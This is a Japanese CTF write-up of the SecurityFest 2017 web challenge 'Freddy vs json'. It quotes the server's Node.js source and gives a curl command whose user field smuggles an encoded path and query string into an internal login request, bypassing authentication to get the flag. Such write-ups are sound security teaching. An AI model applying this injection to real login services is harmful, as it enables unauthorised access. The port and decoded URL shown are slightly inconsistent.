SecurityFest CTF 2017 [Web 200] Freddy vs json
SecurityFest CTF 2017 に チームHarekaze で参加しました。 チームの総得点は1660点で自分はそのうちの250点解きました。
Freddy vs json
ページを開くとよくあるログインフォームにメールアドレスとパスワードの入力欄があります。
適当に埋めて送信すると
Invalid username or password!
と怒られます。
Exploit
http://52.208.132.198:2999/index.js
を見るとページのソースコードを見ることが出来ます。
ちなみにこれはエスパーして発見しました。(一応ヒント(?)として/static/index.jsがheadでインポートされていることはわかるが……)
ソースコードを見ると
if(req.body.user && req.body.pass){ user = req.body.user; pass = crypto.createHash('md5').update(req.body.pass).digest("hex"); //Query internal login service request("http://127.0.0.1:3001/createTicket/"+user+"/"+pass, function(error, response, body){ console.log(body);
という部分があり、これによりログイン判定をしていることがわかります。
またソースコードのはじめに
require('./local');
local.jsを読み込んでいる記述があるのでそれも見てみます。
以下の記述より、ポート3001で待ち受けているローカルサーバーの処理が書かれていることがわかります。
localapp.listen(3001, '127.0.0.1', function () { console.log('JWT service up!') });
さらに
db = [ {"user":"admin","pass":"9c72256fdb7196d2563a38b84f431491","id":"1"} ]; … … function verify(user, pass){ db_user = db[0]; //TODO: sync with LDAP instead if(user && user == db_user["user"]){ if(pass && pass == db_user["pass"]){ return db_user["id"]; } } return 0; } localapp.get('/createTicket/:user/:pass', function (req, res) { user = req.params.user; pass = req.params.pass; userid = verify(user, pass); if(userid){ res.send('{"authenticated":true, "user":"'+user+'", "id":'+userid+'}'); }else{ res.send('{"authenticated":false, "user":"'+user+'", "id":'+userid+'}'); } })
とあることから、curl -v -d 'user=admin%2f9c72256fdb7196d2563a38b84f431491%3fa%3d&pass=a' 52.208.132.198:299
と送ることでサーバー上ではhttp://127.0.0.1:3001/createTicket/admin/2f9c72256fdb7196d2563a38b84f431491?a=a/というリクエストが送信され
ログインに成功しflagが手に入ります。
(ログイン時に判定されるpassはmd5ハッシュ化されたものであることに気づけばいい。)
{"authenticated":true,"user":"admin","id":1,"response":"Congratulations: SCTF{1nj3ction_5chm1nj3ctioN}"}
flag SCTF{1nj3ction_5chm1nj3ctioN}